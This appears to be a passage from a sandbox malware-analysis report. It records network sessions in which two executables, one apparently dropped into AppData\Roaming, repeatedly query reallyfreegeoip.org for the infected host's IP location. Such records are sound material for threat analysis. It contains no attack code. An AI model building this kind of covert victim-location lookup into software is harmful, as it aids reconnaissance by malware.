                                                                                                                                                            2024-12-16 13:23:14 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            3192.168.2.649748104.21.67.1524438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:16 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:16 UTC886INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:16 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344165
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iPXvIO4hbOBOyhKreajfCyq6SpEJ1%2B0HFCzBYNAOJaHDCcSUdXLKT%2F%2B76zVY%2F0bOaExmyHVJUJbj1MmllslaKxRWD4esW3sI1bI8%2BnTNSZd3vdaxpv9%2B9j%2FbTC8KXH44cWau6%2BUY"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efcad7f544370-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1619&min_rtt=1617&rtt_var=611&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1784841&cwnd=231&unsent_bytes=0&cid=0efbb3f3ada0c949&ts=454&x=0"
                                                                                                                                                            2024-12-16 13:23:16 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            4192.168.2.649749104.21.67.1524433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:16 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            2024-12-16 13:23:16 UTC879INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:16 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344165
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UrScGOrKZW1z3XvQnVYb0KzbzcZo9NbaJwZp5N6rxT%2Fc%2F6Tlz4xV1CtGxYnFaBGQZXX1I4v7dkP9dfSUJrV9sM3H40SL0mxFK5xFerCo2HS2b%2FpZlBMpD73r53b%2FVxH4SvBlKTiW"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efcae1d1e41a6-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=4862&min_rtt=1629&rtt_var=2694&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1792510&cwnd=239&unsent_bytes=0&cid=188d93fe352da4aa&ts=457&x=0"
                                                                                                                                                            2024-12-16 13:23:16 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            5192.168.2.649758104.21.67.1524438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:19 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:19 UTC884INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:19 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344168
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hbSMi%2FAYXLod14%2Fi4bPGz9mtIjv%2BaYY%2FymCCxHKj%2By7ebnODGTsdAvaGaK90OZyJCAf3dIGfYW46NeBpsnsbWbLiYnezl6euxYCvIOaq8gVyJ1yP%2FQKochhrRL9oV%2FSixGGQqg7X"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efcc058aa4408-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1585&rtt_var=603&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1800246&cwnd=201&unsent_bytes=0&cid=95c24dd5c4c81f35&ts=463&x=0"
                                                                                                                                                            2024-12-16 13:23:19 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            6192.168.2.649759104.21.67.1524433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:19 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:19 UTC876INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:19 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344168
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U6twOCRMyFfbTaSFaeyYQ9CDPhjex7153FiJQ%2FCRxuQQDwERu1Ws6hfScc6JT5ZKZSH%2BTrvS1WDAJK10m2%2FN55O9xlZ5eMDib2Ra7XXe2R7DL5Xwz7n4UJhnBATZmt3EFc2niu0m"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efcc0d98432e2-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1820&min_rtt=1819&rtt_var=685&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1593016&cwnd=160&unsent_bytes=0&cid=03481259860f7665&ts=455&x=0"
                                                                                                                                                            2024-12-16 13:23:19 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            7192.168.2.649769104.21.67.1524438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:22 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            2024-12-16 13:23:22 UTC874INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:22 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344171
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l6o3DKM7C87fVUKhgDdWGePSgdfyMtUB%2B6uvWn2GRloeR67zSdKro7FeS73rbbocqUzBT29tmIp27PkTntMrcu5%2FBu9D3GxFq1RGAeirxTc35pCGgJZOIZNy4c0J9IXGS0ChnUq8"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efcd31cf7438b-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1594&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1813664&cwnd=169&unsent_bytes=0&cid=a68d89fc7f28fa46&ts=451&x=0"
                                                                                                                                                            2024-12-16 13:23:22 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            8192.168.2.649774104.21.67.1524433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:22 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:22 UTC878INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:22 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344171
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Folkqrg2tkBYYl7tdqb8Ry%2FRN5ISeaSopM%2FJ9eJceb7cLjllYI9BNvd5glYpsTXJJwBovzje9HQg0gtgY0gctHrk6rFPqQ2RV8oBKykrjZX4E%2Bg%2BCpHl9FVPHaLqnuGdXoI6CGid"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efcd39b4242ce-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=2112&min_rtt=2112&rtt_var=793&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1378659&cwnd=233&unsent_bytes=0&cid=7af5904a76b29bf5&ts=463&x=0"
                                                                                                                                                            2024-12-16 13:23:22 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            9192.168.2.649781104.21.67.1524438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:25 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:25 UTC872INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:25 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344174
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJyK4m1pZGEBthreccDl4C2CYpZBVWUHAiS5n7DY6E3%2BzfcOGXk7UNpVZlj5zPs8z8cC1YdX2IIJEZ7BSHQueafEsHu8ULvriEvgBZ0TiUyfcPDyrJDzbEloowWUE0RK8BivwkFg"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efce5f9d2c445-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1468&rtt_var=563&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1922317&cwnd=227&unsent_bytes=0&cid=59380cef180a6340&ts=453&x=0"
                                                                                                                                                            2024-12-16 13:23:25 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            10192.168.2.649782104.21.67.1524433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:25 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:25 UTC874INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:25 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344174
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SiRMtKWFSxcsNL0djnwxmNnDDdCIcQ5ryUx5v0gNk5cQ3irte0pjFVD7p9KfYmaK8ZNaUYgF5GHePmqT6BNBSwF4w1jdkAuKQsfoqTzG%2FXJKhZuVETOyW51BPF30QZ7fq%2Bn7FtiW"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efce65e671a48-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1815&rtt_var=688&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1608815&cwnd=157&unsent_bytes=0&cid=3063a11fc2c16ce9&ts=450&x=0"
                                                                                                                                                            2024-12-16 13:23:25 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            11192.168.2.649790104.21.67.1524438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:28 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
